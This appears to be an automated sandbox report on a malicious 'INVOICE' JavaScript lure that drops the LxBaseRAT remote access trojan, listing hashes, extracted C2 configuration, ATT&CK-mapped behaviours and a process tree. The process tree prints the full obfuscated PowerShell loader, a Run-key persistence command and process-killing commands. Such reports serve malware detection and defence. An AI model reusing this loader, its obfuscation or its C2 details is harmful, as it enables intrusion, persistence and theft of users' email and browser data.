lxbaserat | 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 02:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Scan Copy of INVOICE.js
Size 83KB
Sample260804-cz6e5abf39
SHA256 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd
MD5 5f730ce9623dcc352a990ad17770e48b
SHA1 ce10c7c4874822b86ee75b17fef21cba97384294
SHA512 d219a67fce97e558bd019a896158d573619bbec0f6b7a476dae6df1f97a408949f4f45189ce4207a3024a38b089205c7766752755a4bbcc0b2dd04256f0d03f9
SSDEEP 768:iP0rbz1YuAw9t1AiTD9poB596H6wSftpE6atYE3NoL8:cu/9Lz9poB596H6wSftpE6atYE3NoL8
TLSH
T15483C1FA22B65875EBDFB61174A6C265FCC982F32B09D848E1045DDC83AB640AC3F5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 a960186a4f0446948e640c091cf27a4d collection defense_evasion discovery execution lxbaserat persistence rat upx

Malware Config

Extracted

Family

lxbaserat

Version

1.0.22

Botnet

Group1

Campaign

a960186a4f0446948e640c091cf27a4d

lxxlxxnew.noip.at:4055

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JhJvrFokWE5J7XGvy01o

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3820	4648	cmd.exe	90

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	1064	powershell.exe
16	1064	powershell.exe
17	1064	powershell.exe
28	1064	powershell.exe
31	1064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1064	powershell.exe
3252	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1936	chrome.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AppLaunch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ciAAAgjjjg = "wscript.exe \"C:\\ProgramData\\MspcEng.js\""	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
34	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1064 set thread context of 3860	1064	powershell.exe	108

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000000002e-49.dat	upx

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3820	cmd.exe
2752	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
2220	taskkill.exe
4176	taskkill.exe
1792	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1064	powershell.exe
1064	powershell.exe
3252	powershell.exe
3252	powershell.exe
3860	AppLaunch.exe
1064	powershell.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe
3860	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	4176	taskkill.exe
Token: SeDebugPrivilege	1792	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	3860	AppLaunch.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3860	AppLaunch.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 1064	3820	cmd.exe	96
PID 1064 wrote to memory of 3544	1064	powershell.exe	97
PID 3544 wrote to memory of 1644	3544	csc.exe	98
PID 1064 wrote to memory of 3252	1064	powershell.exe	100
PID 3252 wrote to memory of 2752	3252	powershell.exe	103
PID 2752 wrote to memory of 4176	2752	cmd.exe	105
PID 2752 wrote to memory of 1792	2752	cmd.exe	106
PID 2752 wrote to memory of 2220	2752	cmd.exe	107
PID 1064 wrote to memory of 3860	1064	powershell.exe	108
PID 1064 wrote to memory of 3860	1064	powershell.exe	108
PID 1064 wrote to memory of 3860	1064	powershell.exe	108
PID 1064 wrote to memory of 3860	1064	powershell.exe	108
PID 1064 wrote to memory of 3860	1064	powershell.exe	108
PID 3860 wrote to memory of 1936	3860	AppLaunch.exe	109

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js"
1⤵
PID:4224

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF9CC.tmp" "c:\Users\Admin\AppData\Local\Temp\03zzuq1l\CSCA1CB44F765F1433E9A75934017B52CB.TMP"
      4⤵
      PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2752
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4176
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    PID:3860
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      Loads dropped DLL
      PID:1936

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:972

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

msasn1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
Size 119KB
SHA256 fe8289239a81f3e1bc881e4f622e11c8e67b1d90c4a54d07a55e00a1950939d8
MD5 a6fb047749de3b890d36d2172df0ff97
SHA1 4431970ca391769bb36d72677c89e26217e006be
SHA512 3d8f6eb72f07fdf921aa4fcd000396ef5259aa7827411c691ed00742f721ff3d3334123ed178661434835b02f53d6224bd749a6e241e4d046b3e4edabf1935ed
SSDEEP 1536:nWdGfNbAkj1K3X7BQ9d0SHS7hdPFw5coos5J9PtSUDwS8U+DQAK+OAOxW4C:WdsA81ISdNQzPFzotxD789Q/+Oe
TLSH
T168C3D5D626D84E8AEA14667846DEC322773EFAF087434B03A268B0754E17FC17DC561B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a4839099fa25ebff3b8dba8168077834874916d8e11ec3edcbcd4afe774368ea
MD5 133fdeedb66035e14cbb15f240fd9f95
SHA1 5fb7763346789252f63a6c70a14165a2540828ea
SHA512 0b5babf35d8e44b75fc7b8b513f552fb01e2fa5739c397ffc2054a12d202f1c5649bb68198f6bacaf47e86437da4bde854ab02bc7a1c6a9cd35a51f0aca9e166
TLSH
T1BA217523F39C8921C88A013A509E9C0076B683D7419ECE9FAFC4D609E17F998CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

03zzuq1l.dll

Path C:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.dll
Size 3KB
SHA256 cb1e97922fcc96f3cebf775cabdff2be6f4e8af37931538bf9d66fbcdba8ab4b
MD5 cbe011ecb7866b57078c3074b2a1e3ab
SHA1 9e3f30d7b3df2c647372761a98fef98a5491559f
SHA512 90aec00e5c32e78d8bbbd5184ced8983e4e8cbaa20d34b046e9c7da971639dba6cbeb706b7b5a638ad80a5f1a9cbb7fe4e074cbde39d5b16475dc2547ddec55b
TLSH
T1F151DF1A53E8472BE4A70B31BEF743172775F921AB62975D4880422CAC213A45E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

RESF9CC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF9CC.tmp
Size 1KB
SHA256 fb27e2a23c464cfdae8794c59f20dc9a8f054dd98c495e0b3a30ccf35258b06e
MD5 7e70bb1810753da1816c527fe3a91bf3
SHA1 1e3a4a81ea8f1b33c6f87432f67c9f3ffcba22dc
SHA512 2186d473ebf80df00307d2818dc7035187c74a34157e9348cb8c74122ab1671eb322653c9e5dc0b69e6e1d391006f3e5f418c2a1bf7d1059673790cfb512f99a
TLSH
T1B5217B0553E8871BF0735B31ADFA171BA279FDA5EF62975B848052282C41144DEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ps0jcq2s.d0g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ps0jcq2s.d0g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

03zzuq1l.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

03zzuq1l.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.cmdline
Size 369B
SHA256 d985c42ba5e29c505abb63612e4ab3e3d3f966939f3929d21c5f65ec931ebacb
MD5 45a9af5a92f2ecff753a262bd2897f03
SHA1 71329d298881b6b313b7d963d4d1a5a6c44c2f1c
SHA512 33b14bc4d3d64ad358d86657ef0012c9fdc3c329e7c60b44bfc2e54bcb333e17260c2ade2531e0074f6655ba24ebeb412f928e25868ad1598f83f70348f7eda8
TLSH
T1D2E0DF2A9256C77D15EA500B26ABC5BC837306873D827F8899A0885DE4271086BE2B95
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA1CB44F765F1433E9A75934017B52CB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\CSCA1CB44F765F1433E9A75934017B52CB.TMP
Size 652B
SHA256 17c523eb058eab1f5623f5711df8f0a9635b06226c71ed3da02109bdd2115d47
MD5 14b55861d7fcb54f1d8699254d953664
SHA1 c9967155275e3a9b341b9ebba49f24bec4b56bb5
SHA512 bec0ae14d3392738fa6cd62ce6e314ede9570fc80385d44b946ddfa5dafbb99698fb7b2a396c243dd8e8c65781c90a6ab0966144016e16d95634f6d9285605b7
TLSH
T17BF05E0A63F8520EF1F34B30BEF6436391B9BC65DE3293ED5440131928645108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1064-1-0x000001D189400000-0x000001D189410000-memory.dmp

Download

memory/1064-0-0x000001D189400000-0x000001D189410000-memory.dmp

Download

memory/1064-23-0x000001D1A2420000-0x000001D1A2428000-memory.dmp

Download

memory/1064-24-0x000001D189400000-0x000001D189410000-memory.dmp

Download

memory/1064-25-0x000001D189400000-0x000001D189410000-memory.dmp

Download

memory/1064-26-0x000001D1892D0000-0x000001D1892EA000-memory.dmp

Download

memory/1064-10-0x000001D189400000-0x000001D189410000-memory.dmp

Download

memory/1064-7-0x000001D1A22D0000-0x000001D1A22F2000-memory.dmp

Download

